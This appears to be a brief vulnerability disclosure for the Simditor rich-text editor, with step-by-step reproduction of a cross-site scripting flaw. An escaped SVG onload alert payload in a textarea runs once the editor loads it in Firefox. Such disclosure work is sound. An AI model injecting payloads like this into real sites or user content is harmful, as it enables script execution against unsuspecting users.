1.Download the Simditor source code.

We just need this three js.



2.Edit a HTML FILE



<html>

<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>

<script src="js/module.js"></script>

<script src="js/hotkeys.js"></script>

<script src="js/simditor.js"></script>

<textarea id="test">&lt;svg/onload=alert`1`&gt;</textarea>

<script type="text/javascript">

newsPublish = new Simditor({

textarea: $('#test')});

</script>>

</html>

3.The payload in <textarea> is HTML escaped

C:\Users\way\AppData\Local\Temp\1517386669(1).png

4.Open the HTML in firefox.

THIS IS MY FIREFOX VERSION



THE XSS PAYLOAD IS EXECUTE !

